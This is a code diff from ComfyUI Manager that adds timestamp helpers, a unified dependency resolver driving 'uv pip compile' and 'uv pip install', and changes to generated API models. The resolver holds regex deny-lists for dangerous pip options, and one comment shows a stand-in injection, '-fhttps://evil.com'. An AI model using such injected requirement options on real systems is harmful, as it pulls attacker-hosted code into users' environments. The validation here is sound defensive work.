Format: YYYY-MM-DD_HH-MM-SS
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().strftime('%Y-%m-%d_%H-%M-%S')
|
||||
return time_module.strftime('%Y-%m-%d_%H-%M-%S')
|
||||
|
||||
|
||||
def get_backup_branch_name(repo=None) -> str:
|
||||
"""
|
||||
Get backup branch name with current timestamp.
|
||||
Format: backup_YYYYMMDD_HHMMSS (or backup_YYYYMMDD_HHMMSS_N if exists)
|
||||
|
||||
Args:
|
||||
repo: Optional git.Repo object. If provided, checks for name collisions
|
||||
and adds sequential suffix if needed.
|
||||
|
||||
Returns:
|
||||
Unique backup branch name.
|
||||
"""
|
||||
base_name = f'backup_{get_timestamp_for_filename()}'
|
||||
|
||||
if repo is None:
|
||||
return base_name
|
||||
|
||||
# Check if branch exists
|
||||
try:
|
||||
existing_branches = {b.name for b in repo.heads}
|
||||
except Exception:
|
||||
return base_name
|
||||
|
||||
if base_name not in existing_branches:
|
||||
return base_name
|
||||
|
||||
# Add sequential suffix
|
||||
for i in range(1, 100):
|
||||
new_name = f'{base_name}_{i}'
|
||||
if new_name not in existing_branches:
|
||||
return new_name
|
||||
|
||||
# Ultimate fallback: use UUID (very unlikely to reach here)
|
||||
return f'{base_name}_{uuid.uuid4().hex[:6]}'
|
||||
|
||||
|
||||
def get_now():
|
||||
"""
|
||||
Get current datetime object.
|
||||
Returns datetime.now() if available, otherwise a FakeDatetime object
|
||||
that supports basic operations (timestamp(), strftime()).
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now()
|
||||
|
||||
# Fallback: return object with basic datetime-like interface
|
||||
t = time_module.localtime()
|
||||
|
||||
class FakeDatetime:
|
||||
def timestamp(self):
|
||||
return time_module.time()
|
||||
|
||||
def strftime(self, fmt):
|
||||
return time_module.strftime(fmt, t)
|
||||
|
||||
def isoformat(self):
|
||||
return time_module.strftime('%Y-%m-%dT%H:%M:%S', t)
|
||||
|
||||
return FakeDatetime()
|
||||
|
||||
|
||||
def get_unix_timestamp() -> float:
|
||||
"""Get current Unix timestamp."""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().timestamp()
|
||||
return time_module.time()
|
||||
@@ -0,0 +1,724 @@
|
||||
"""Unified Dependency Resolver for ComfyUI Manager.
|
||||
|
||||
Resolves and installs all node-pack dependencies at once using ``uv pip compile``
|
||||
followed by ``uv pip install -r``, replacing per-node-pack ``pip install`` calls.
|
||||
|
||||
Responsibility scope
|
||||
--------------------
|
||||
- Dependency collection, resolution, and installation **only**.
|
||||
- ``install.py`` execution and ``PIPFixer`` calls are the caller's responsibility.
|
||||
|
||||
See Also
|
||||
--------
|
||||
- docs/dev/PRD-unified-dependency-resolver.md
|
||||
- docs/dev/DESIGN-unified-dependency-resolver.md
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
from . import manager_util
|
||||
|
||||
logger = logging.getLogger("ComfyUI-Manager")
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Exceptions
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class UvNotAvailableError(RuntimeError):
|
||||
"""Raised when neither ``python -m uv`` nor standalone ``uv`` is found."""
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Data classes
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class PackageRequirement:
|
||||
"""Individual package dependency."""
|
||||
name: str # Normalised package name
|
||||
spec: str # Original spec string (e.g. ``torch>=2.0``)
|
||||
source: str # Absolute path of the source node pack
|
||||
|
||||
|
||||
@dataclass
|
||||
class CollectedDeps:
|
||||
"""Aggregated dependency collection result."""
|
||||
requirements: list[PackageRequirement] = field(default_factory=list)
|
||||
skipped: list[tuple[str, str]] = field(default_factory=list)
|
||||
sources: dict[str, list[tuple[str, str]]] = field(default_factory=dict)
|
||||
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
|
||||
extra_index_urls: list[str] = field(default_factory=list)
|
||||
|
||||
|
||||
@dataclass
|
||||
class LockfileResult:
|
||||
"""Result of ``uv pip compile``."""
|
||||
success: bool
|
||||
lockfile_path: str | None = None
|
||||
conflicts: list[str] = field(default_factory=list)
|
||||
stderr: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class InstallResult:
|
||||
"""Result of ``uv pip install -r`` (atomic: all-or-nothing)."""
|
||||
success: bool
|
||||
installed: list[str] = field(default_factory=list)
|
||||
skipped: list[str] = field(default_factory=list)
|
||||
stderr: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class ResolveResult:
|
||||
"""Full pipeline result."""
|
||||
success: bool
|
||||
collected: CollectedDeps | None = None
|
||||
lockfile: LockfileResult | None = None
|
||||
install: InstallResult | None = None
|
||||
error: str | None = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Resolver
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_TMP_PREFIX = "comfyui_resolver_"
|
||||
|
||||
# Security: reject dangerous requirement patterns at line start.
|
||||
# NOTE: This regex is intentionally kept alongside _INLINE_DANGEROUS_OPTIONS
|
||||
# because it covers ``@ file://`` via ``.*@\s*file://`` which relies on the
|
||||
# ``^`` anchor. Both regexes share responsibility for option rejection:
|
||||
# this one catches line-start patterns; _INLINE_DANGEROUS_OPTIONS catches
|
||||
# options appearing after a package name.
|
||||
_DANGEROUS_PATTERNS = re.compile(
|
||||
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
|
||||
r'|--find-links\b|-f\b|.*@\s*file://)',
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Security: reject dangerous pip options appearing anywhere in the line
|
||||
# (supplements the ^-anchored _DANGEROUS_PATTERNS which only catches line-start).
|
||||
# The ``(?:^|\s)`` prefix prevents false positives on hyphenated package names
|
||||
# (e.g. ``re-crypto``, ``package[extra-c]``) while still catching concatenated
|
||||
# short-flag attacks like ``-fhttps://evil.com``.
|
||||
_INLINE_DANGEROUS_OPTIONS = re.compile(
|
||||
r'(?:^|\s)(--find-links\b|--constraint\b|--requirement\b|--editable\b'
|
||||
r'|--trusted-host\b|--global-option\b|--install-option\b'
|
||||
r'|-f|-r|-e|-c)',
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Credential redaction in index URLs.
|
||||
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
|
||||
|
||||
# Version-spec parsing (same regex as existing ``is_blacklisted()``).
|
||||
_VERSION_SPEC_PATTERN = re.compile(r'([^<>!~=]+)([<>!~=]=?)([^ ]*)')
|
||||
|
||||
|
||||
|
||||
def collect_node_pack_paths(custom_nodes_dirs: list[str]) -> list[str]:
|
||||
"""Collect all installed node-pack directory paths.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
custom_nodes_dirs:
|
||||
Base directories returned by ``folder_paths.get_folder_paths('custom_nodes')``.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list[str]
|
||||
Paths of node-pack directories (immediate subdirectories of each base).
|
||||
"""
|
||||
paths: list[str] = []
|
||||
for base in custom_nodes_dirs:
|
||||
if os.path.isdir(base):
|
||||
for name in os.listdir(base):
|
||||
fullpath = os.path.join(base, name)
|
||||
if os.path.isdir(fullpath):
|
||||
paths.append(fullpath)
|
||||
return paths
|
||||
|
||||
|
||||
def collect_base_requirements(comfy_path: str) -> list[str]:
|
||||
"""Read ComfyUI's own base requirements as constraint lines.
|
||||
|
||||
Reads ``requirements.txt`` and ``manager_requirements.txt`` from *comfy_path*.
|
||||
These are ComfyUI-level dependencies only — never read from node packs.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
comfy_path:
|
||||
Root directory of the ComfyUI installation.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list[str]
|
||||
Non-empty, non-comment requirement lines.
|
||||
"""
|
||||
reqs: list[str] = []
|
||||
for filename in ("requirements.txt", "manager_requirements.txt"):
|
||||
req_path = os.path.join(comfy_path, filename)
|
||||
if os.path.exists(req_path):
|
||||
with open(req_path, encoding="utf-8") as f:
|
||||
reqs.extend(
|
||||
line.strip() for line in f
|
||||
if line.strip() and not line.strip().startswith('#')
|
||||
)
|
||||
return reqs
|
||||
|
||||
|
||||
class UnifiedDepResolver:
|
||||
"""Unified dependency resolver.
|
||||
|
||||
Resolves and installs all dependencies of (installed + new) node packs at
|
||||
once using *uv*.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
node_pack_paths:
|
||||
Absolute paths of node-pack directories to consider.
|
||||
base_requirements:
|
||||
Lines from ComfyUI's own ``requirements.txt`` (used as constraints).
|
||||
blacklist:
|
||||
Package names to skip unconditionally (default: ``cm_global.pip_blacklist``).
|
||||
overrides:
|
||||
Package-name remapping dict (default: ``cm_global.pip_overrides``).
|
||||
downgrade_blacklist:
|
||||
Packages whose installed versions must not be downgraded
|
||||
(default: ``cm_global.pip_downgrade_blacklist``).
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
node_pack_paths: list[str],
|
||||
base_requirements: list[str] | None = None,
|
||||
blacklist: set[str] | None = None,
|
||||
overrides: dict[str, str] | None = None,
|
||||
downgrade_blacklist: list[str] | None = None,
|
||||
) -> None:
|
||||
self.node_pack_paths = node_pack_paths
|
||||
self.base_requirements = base_requirements or []
|
||||
self.blacklist: set[str] = blacklist if blacklist is not None else set()
|
||||
self.overrides: dict[str, str] = overrides if overrides is not None else {}
|
||||
self.downgrade_blacklist: list[str] = (
|
||||
downgrade_blacklist if downgrade_blacklist is not None else []
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def resolve_and_install(self) -> ResolveResult:
|
||||
"""Execute the full pipeline: cleanup → collect → compile → install."""
|
||||
self.cleanup_stale_tmp()
|
||||
|
||||
tmp_dir: str | None = None
|
||||
try:
|
||||
# 1. Collect
|
||||
collected = self.collect_requirements()
|
||||
if not collected.requirements:
|
||||
logger.info("[UnifiedDepResolver] No dependencies to resolve")
|
||||
return ResolveResult(success=True, collected=collected)
|
||||
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] Collected %d deps from %d sources (skipped %d)",
|
||||
len(collected.requirements),
|
||||
len(collected.sources),
|
||||
len(collected.skipped),
|
||||
)
|
||||
|
||||
# 2. Compile
|
||||
lockfile = self.compile_lockfile(collected)
|
||||
if not lockfile.success:
|
||||
return ResolveResult(
|
||||
success=False,
|
||||
collected=collected,
|
||||
lockfile=lockfile,
|
||||
error=f"compile failed: {'; '.join(lockfile.conflicts)}",
|
||||
)
|
||||
# tmp_dir is the parent of lockfile_path
|
||||
tmp_dir = os.path.dirname(lockfile.lockfile_path) # type: ignore[arg-type]
|
||||
|
||||
# 3. Install
|
||||
install = self.install_from_lockfile(lockfile.lockfile_path) # type: ignore[arg-type]
|
||||
return ResolveResult(
|
||||
success=install.success,
|
||||
collected=collected,
|
||||
lockfile=lockfile,
|
||||
install=install,
|
||||
error=install.stderr if not install.success else None,
|
||||
)
|
||||
except UvNotAvailableError:
|
||||
raise
|
||||
except Exception as exc:
|
||||
logger.warning("[UnifiedDepResolver] unexpected error: %s", exc)
|
||||
return ResolveResult(success=False, error=str(exc))
|
||||
finally:
|
||||
if tmp_dir and os.path.isdir(tmp_dir):
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 1: collect
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
"""Collect dependencies from all node packs."""
|
||||
requirements: list[PackageRequirement] = []
|
||||
skipped: list[tuple[str, str]] = []
|
||||
sources: defaultdict[str, list[tuple[str, str]]] = defaultdict(list)
|
||||
extra_index_urls: list[str] = []
|
||||
|
||||
# Snapshot installed packages once to avoid repeated subprocess calls.
|
||||
# Skip when downgrade_blacklist is empty (the common default).
|
||||
installed_snapshot = (
|
||||
manager_util.get_installed_packages()
|
||||
if self.downgrade_blacklist else {}
|
||||
)
|
||||
|
||||
for pack_path in self.node_pack_paths:
|
||||
# Exclude disabled node packs (directory-based mechanism).
|
||||
if self._is_disabled_path(pack_path):
|
||||
continue
|
||||
|
||||
req_file = os.path.join(pack_path, "requirements.txt")
|
||||
if not os.path.exists(req_file):
|
||||
continue
|
||||
|
||||
for raw_line in self._read_requirements(req_file):
|
||||
line = raw_line.split('#')[0].strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# 0. Security: reject dangerous patterns
|
||||
if _DANGEROUS_PATTERNS.match(line):
|
||||
skipped.append((line, f"rejected: dangerous pattern in {pack_path}"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected dangerous line: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# 1. Separate --index-url / --extra-index-url handling
|
||||
# (before path separator check, because URLs contain '/')
|
||||
# URLs are staged but NOT committed until the line passes
|
||||
# all validation (prevents URL injection from rejected lines).
|
||||
pending_urls: list[str] = []
|
||||
if '--index-url' in line or '--extra-index-url' in line:
|
||||
pkg_spec, pending_urls = self._split_index_url(line)
|
||||
line = pkg_spec
|
||||
if not line:
|
||||
# Standalone option line (no package prefix) — safe
|
||||
extra_index_urls.extend(pending_urls)
|
||||
continue
|
||||
|
||||
# 1b. Reject dangerous pip options appearing after package name
|
||||
# (--index-url/--extra-index-url already extracted above)
|
||||
if _INLINE_DANGEROUS_OPTIONS.search(line):
|
||||
skipped.append((line, f"rejected: inline pip option in {pack_path}"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected inline pip option: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# Reject path separators in package name portion
|
||||
pkg_name_part = re.split(r'[><=!~;]', line)[0]
|
||||
if '/' in pkg_name_part or '\\' in pkg_name_part:
|
||||
skipped.append((line, "rejected: path separator in package name"))
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] rejected path separator: '%s' from %s",
|
||||
line, pack_path,
|
||||
)
|
||||
continue
|
||||
|
||||
# 2. Remap package name
|
||||
pkg_spec = self._remap_package(line)
|
||||
|
||||
# 3. Extract normalised name
|
||||
pkg_name = self._extract_package_name(pkg_spec)
|
||||
|
||||
# 4. Blacklist check
|
||||
if pkg_name in self.blacklist:
|
||||
skipped.append((pkg_spec, "blacklisted"))
|
||||
continue
|
||||
|
||||
# 5. Downgrade blacklist check
|
||||
if self._is_downgrade_blacklisted(pkg_name, pkg_spec,
|
||||
installed_snapshot):
|
||||
skipped.append((pkg_spec, "downgrade blacklisted"))
|
||||
continue
|
||||
|
||||
# 6. Collect (no dedup — uv handles resolution)
|
||||
requirements.append(
|
||||
PackageRequirement(name=pkg_name, spec=pkg_spec, source=pack_path)
|
||||
)
|
||||
sources[pkg_name].append((pack_path, pkg_spec))
|
||||
|
||||
# Commit staged index URLs only after all validation passed.
|
||||
if pending_urls:
|
||||
extra_index_urls.extend(pending_urls)
|
||||
|
||||
return CollectedDeps(
|
||||
requirements=requirements,
|
||||
skipped=skipped,
|
||||
sources=dict(sources),
|
||||
extra_index_urls=list(set(extra_index_urls)),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 2: compile
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
|
||||
"""Generate pinned requirements via ``uv pip compile``."""
|
||||
tmp_dir = tempfile.mkdtemp(prefix=_TMP_PREFIX)
|
||||
|
||||
try:
|
||||
# Write temp requirements
|
||||
tmp_req = os.path.join(tmp_dir, "input-requirements.txt")
|
||||
with open(tmp_req, "w", encoding="utf-8") as fh:
|
||||
for req in deps.requirements:
|
||||
fh.write(req.spec + "\n")
|
||||
|
||||
# Write constraints (base dependencies)
|
||||
tmp_constraints: str | None = None
|
||||
if self.base_requirements:
|
||||
tmp_constraints = os.path.join(tmp_dir, "constraints.txt")
|
||||
with open(tmp_constraints, "w", encoding="utf-8") as fh:
|
||||
for line in self.base_requirements:
|
||||
fh.write(line.strip() + "\n")
|
||||
|
||||
lockfile_path = os.path.join(tmp_dir, "resolved-requirements.txt")
|
||||
|
||||
cmd = self._get_uv_cmd() + [
|
||||
"pip", "compile",
|
||||
tmp_req,
|
||||
"--output-file", lockfile_path,
|
||||
"--python", sys.executable,
|
||||
]
|
||||
if tmp_constraints:
|
||||
cmd += ["--constraint", tmp_constraints]
|
||||
|
||||
for url in deps.extra_index_urls:
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] extra-index-url: %s",
|
||||
self._redact_url(url),
|
||||
)
|
||||
cmd += ["--extra-index-url", url]
|
||||
|
||||
logger.info("[UnifiedDepResolver] running: %s", " ".join(
|
||||
self._redact_url(c) for c in cmd
|
||||
))
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=300,
|
||||
)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("[UnifiedDepResolver] uv pip compile timed out (300s)")
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=["compile timeout exceeded (300s)"],
|
||||
stderr="TimeoutExpired",
|
||||
)
|
||||
|
||||
if result.returncode != 0:
|
||||
conflicts = self._parse_conflicts(result.stderr)
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=conflicts,
|
||||
stderr=result.stderr,
|
||||
)
|
||||
|
||||
if not os.path.exists(lockfile_path):
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=["lockfile not created despite success return code"],
|
||||
stderr=result.stderr,
|
||||
)
|
||||
|
||||
return LockfileResult(success=True, lockfile_path=lockfile_path)
|
||||
|
||||
except UvNotAvailableError:
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
raise
|
||||
except Exception:
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
raise
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 3: install
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
|
||||
"""Install from pinned requirements (``uv pip install -r``).
|
||||
|
||||
Do **not** use ``uv pip sync`` — it deletes packages not in the
|
||||
lockfile, risking removal of torch, ComfyUI deps, etc.
|
||||
"""
|
||||
cmd = self._get_uv_cmd() + [
|
||||
"pip", "install",
|
||||
"--requirement", lockfile_path,
|
||||
"--python", sys.executable,
|
||||
]
|
||||
|
||||
logger.info("[UnifiedDepResolver] running: %s", " ".join(cmd))
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=600,
|
||||
)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("[UnifiedDepResolver] uv pip install timed out (600s)")
|
||||
return InstallResult(
|
||||
success=False,
|
||||
stderr="TimeoutExpired: install exceeded 600s",
|
||||
)
|
||||
|
||||
installed, skipped_pkgs = self._parse_install_output(result)
|
||||
|
||||
return InstallResult(
|
||||
success=result.returncode == 0,
|
||||
installed=installed,
|
||||
skipped=skipped_pkgs,
|
||||
stderr=result.stderr if result.returncode != 0 else "",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# uv command resolution
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_uv_cmd(self) -> list[str]:
|
||||
"""Determine the ``uv`` command to use.
|
||||
|
||||
``python_embeded`` spelling is intentional — matches the actual path
|
||||
name in the ComfyUI Windows distribution.
|
||||
"""
|
||||
embedded = 'python_embeded' in sys.executable
|
||||
|
||||
# 1. Try uv as a Python module
|
||||
try:
|
||||
test_cmd = (
|
||||
[sys.executable]
|
||||
+ (['-s'] if embedded else [])
|
||||
+ ['-m', 'uv', '--version']
|
||||
)
|
||||
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
|
||||
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv']
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2. Standalone uv executable
|
||||
if shutil.which('uv'):
|
||||
return ['uv']
|
||||
|
||||
raise UvNotAvailableError("uv is not available")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers — collection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _is_disabled_path(path: str) -> bool:
|
||||
"""Return ``True`` if *path* is within a ``.disabled`` directory."""
|
||||
# New style: custom_nodes/.disabled/{name}
|
||||
if '/.disabled/' in path or os.path.basename(os.path.dirname(path)) == '.disabled':
|
||||
return True
|
||||
# Old style: {name}.disabled suffix
|
||||
if path.rstrip('/').endswith('.disabled'):
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _read_requirements(filepath: str) -> list[str]:
|
||||
"""Read requirements file using ``robust_readlines`` pattern."""
|
||||
return manager_util.robust_readlines(filepath)
|
||||
|
||||
@staticmethod
|
||||
def _split_index_url(line: str) -> tuple[str, list[str]]:
|
||||
"""Split index-url options from a requirement line.
|
||||
|
||||
Handles lines with one or more ``--index-url`` / ``--extra-index-url``
|
||||
options. Returns ``(package_spec, [url, ...])``.
|
||||
|
||||
Examples::
|
||||
|
||||
"torch --extra-index-url U1 --index-url U2"
|
||||
→ ("torch", ["U1", "U2"])
|
||||
|
||||
"--index-url URL"
|
||||
→ ("", ["URL"])
|
||||
"""
|
||||
urls: list[str] = []
|
||||
remainder_tokens: list[str] = []
|
||||
|
||||
# Regex: match --extra-index-url or --index-url followed by its value
|
||||
option_re = re.compile(
|
||||
r'(--(?:extra-)?index-url)\s+(\S+)'
|
||||
)
|
||||
|
||||
# Pattern for bare option flags without a URL value
|
||||
bare_option_re = re.compile(r'^--(?:extra-)?index-url$')
|
||||
|
||||
last_end = 0
|
||||
for m in option_re.finditer(line):
|
||||
# Text before this option is part of the package spec
|
||||
before = line[last_end:m.start()].strip()
|
||||
if before:
|
||||
remainder_tokens.append(before)
|
||||
urls.append(m.group(2))
|
||||
last_end = m.end()
|
||||
|
||||
# Trailing text after last option
|
||||
trailing = line[last_end:].strip()
|
||||
if trailing:
|
||||
remainder_tokens.append(trailing)
|
||||
|
||||
# Strip any bare option flags that leaked into remainder tokens
|
||||
# (e.g. "--index-url" with no URL value after it)
|
||||
remainder_tokens = [
|
||||
t for t in remainder_tokens if not bare_option_re.match(t)
|
||||
]
|
||||
|
||||
pkg_spec = " ".join(remainder_tokens).strip()
|
||||
return pkg_spec, urls
|
||||
|
||||
def _remap_package(self, pkg: str) -> str:
|
||||
"""Apply ``pip_overrides`` remapping."""
|
||||
if pkg in self.overrides:
|
||||
remapped = self.overrides[pkg]
|
||||
logger.info("[UnifiedDepResolver] '%s' remapped to '%s'", pkg, remapped)
|
||||
return remapped
|
||||
return pkg
|
||||
|
||||
@staticmethod
|
||||
def _extract_package_name(spec: str) -> str:
|
||||
"""Extract normalised package name from a requirement spec."""
|
||||
name = re.split(r'[><=!~;\[@ ]', spec)[0].strip()
|
||||
return name.lower().replace('-', '_')
|
||||
|
||||
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str,
|
||||
installed: dict) -> bool:
|
||||
"""Reproduce the downgrade logic from ``is_blacklisted()``.
|
||||
|
||||
Uses ``manager_util.StrictVersion`` — **not** ``packaging.version``.
|
||||
|
||||
Args:
|
||||
installed: Pre-fetched snapshot from
|
||||
``manager_util.get_installed_packages()``.
|
||||
"""
|
||||
if pkg_name not in self.downgrade_blacklist:
|
||||
return False
|
||||
|
||||
match = _VERSION_SPEC_PATTERN.search(pkg_spec)
|
||||
|
||||
if match is None:
|
||||
# No version spec: prevent reinstall if already installed
|
||||
if pkg_name in installed:
|
||||
return True
|
||||
elif match.group(2) in ('<=', '==', '<', '~='):
|
||||
if pkg_name in installed:
|
||||
try:
|
||||
installed_ver = manager_util.StrictVersion(installed[pkg_name])
|
||||
requested_ver = manager_util.StrictVersion(match.group(3))
|
||||
if installed_ver >= requested_ver:
|
||||
return True
|
||||
except (ValueError, TypeError):
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] version parse failed: %s", pkg_spec,
|
||||
)
|
||||
return False
|
||||
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers — parsing & output
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _parse_conflicts(stderr: str) -> list[str]:
|
||||
"""Extract conflict descriptions from ``uv pip compile`` stderr."""
|
||||
conflicts: list[str] = []
|
||||
for line in stderr.splitlines():
|
||||
line = line.strip()
|
||||
if line and ('conflict' in line.lower() or 'error' in line.lower()):
|
||||
conflicts.append(line)
|
||||
return conflicts or [stderr.strip()] if stderr.strip() else []
|
||||
|
||||
@staticmethod
|
||||
def _parse_install_output(
|
||||
result: subprocess.CompletedProcess[str],
|
||||
) -> tuple[list[str], list[str]]:
|
||||
"""Parse ``uv pip install`` stdout for installed/skipped packages."""
|
||||
installed: list[str] = []
|
||||
skipped_pkgs: list[str] = []
|
||||
for line in result.stdout.splitlines():
|
||||
line_lower = line.strip().lower()
|
||||
if 'installed' in line_lower or 'updated' in line_lower:
|
||||
installed.append(line.strip())
|
||||
elif 'already' in line_lower or 'satisfied' in line_lower:
|
||||
skipped_pkgs.append(line.strip())
|
||||
return installed, skipped_pkgs
|
||||
|
||||
@staticmethod
|
||||
def _redact_url(url: str) -> str:
|
||||
"""Mask ``user:pass@`` credentials in URLs."""
|
||||
return _CREDENTIAL_PATTERN.sub('://****@', url)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Temp-file housekeeping
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@classmethod
|
||||
def cleanup_stale_tmp(cls, max_age_seconds: int = 3600) -> None:
|
||||
"""Remove stale temp directories from previous abnormal terminations."""
|
||||
tmp_root = tempfile.gettempdir()
|
||||
now = time.time()
|
||||
for entry in os.scandir(tmp_root):
|
||||
if entry.is_dir() and entry.name.startswith(_TMP_PREFIX):
|
||||
try:
|
||||
age = now - entry.stat().st_mtime
|
||||
if age > max_age_seconds:
|
||||
shutil.rmtree(entry.path, ignore_errors=True)
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] cleaned stale tmp: %s", entry.path,
|
||||
)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def attribute_conflicts(
|
||||
sources: dict[str, list[tuple[str, str]]],
|
||||
conflicts: list[str],
|
||||
) -> dict[str, list[tuple[str, str]]]:
|
||||
"""Cross-reference conflict packages with their requesting node packs.
|
||||
|
||||
Uses word-boundary regex to prevent false-positive prefix matches
|
||||
(e.g. ``torch`` does NOT match ``torchvision`` or ``torch_audio``).
|
||||
"""
|
||||
conflict_text = "\n".join(conflicts).lower().replace("-", "_")
|
||||
return {
|
||||
pkg: reqs
|
||||
for pkg, reqs in sources.items()
|
||||
if re.search(
|
||||
r'(?<![a-z0-9_])' + re.escape(pkg.lower().replace("-", "_")) + r'(?![a-z0-9_])',
|
||||
conflict_text,
|
||||
)
|
||||
}
|
||||
+4657
-330
File diff suppressed because it is too large
Load Diff
@@ -70,7 +70,6 @@ from .generated_models import (
|
||||
InstallType,
|
||||
SecurityLevel,
|
||||
RiskLevel,
|
||||
NetworkMode
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
@@ -135,5 +134,4 @@ __all__ = [
|
||||
"InstallType",
|
||||
"SecurityLevel",
|
||||
"RiskLevel",
|
||||
"NetworkMode",
|
||||
]
|
||||
@@ -1,6 +1,6 @@
|
||||
# generated by datamodel-codegen:
|
||||
# filename: openapi.yaml
|
||||
# timestamp: 2025-11-01T04:21:38+00:00
|
||||
# timestamp: 2025-07-31T04:52:26+00:00
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
@@ -57,12 +57,7 @@ class ManagerPackInstalled(BaseModel):
|
||||
description="The version of the pack that is installed (Git commit hash or semantic version)",
|
||||
)
|
||||
cnr_id: Optional[str] = Field(
|
||||
None,
|
||||
description="The name of the pack if installed from the registry (normalized lowercase)",
|
||||
)
|
||||
original_name: Optional[str] = Field(
|
||||
None,
|
||||
description="The original case-preserved name of the pack from the registry",
|
||||
None, description="The name of the pack if installed from the registry"
|
||||
)
|
||||
aux_id: Optional[str] = Field(
|
||||
None,
|
||||
@@ -112,12 +107,6 @@ class SecurityLevel(str, Enum):
|
||||
weak = "weak"
|
||||
|
||||
|
||||
class NetworkMode(str, Enum):
|
||||
public = "public"
|
||||
private = "private"
|
||||
offline = "offline"
|
||||
|
||||
|
||||
class RiskLevel(str, Enum):
|
||||
block = "block"
|
||||
high_ = "high+"
|
||||
@@ -166,8 +155,8 @@ class InstallPackParams(ManagerPackInfo):
|
||||
description="GitHub repository URL (required if selected_version is nightly)",
|
||||
)
|
||||
pip: Optional[List[str]] = Field(None, description="PyPi dependency names")
|
||||
mode: Optional[ManagerDatabaseSource] = None
|
||||
channel: Optional[ManagerChannel] = None
|
||||
mode: ManagerDatabaseSource
|
||||
channel: ManagerChannel
|
||||
skip_post_install: Optional[bool] = Field(
|
||||
None, description="Whether to skip post-installation steps"
|
||||
)
|
||||
@@ -417,7 +406,9 @@ class ComfyUISystemState(BaseModel):
|
||||
)
|
||||
manager_version: Optional[str] = Field(None, description="ComfyUI Manager version")
|
||||
security_level: Optional[SecurityLevel] = None
|
||||
network_mode: Optional[NetworkMode] = None
|
||||
network_mode: Optional[str] = Field(
|
||||
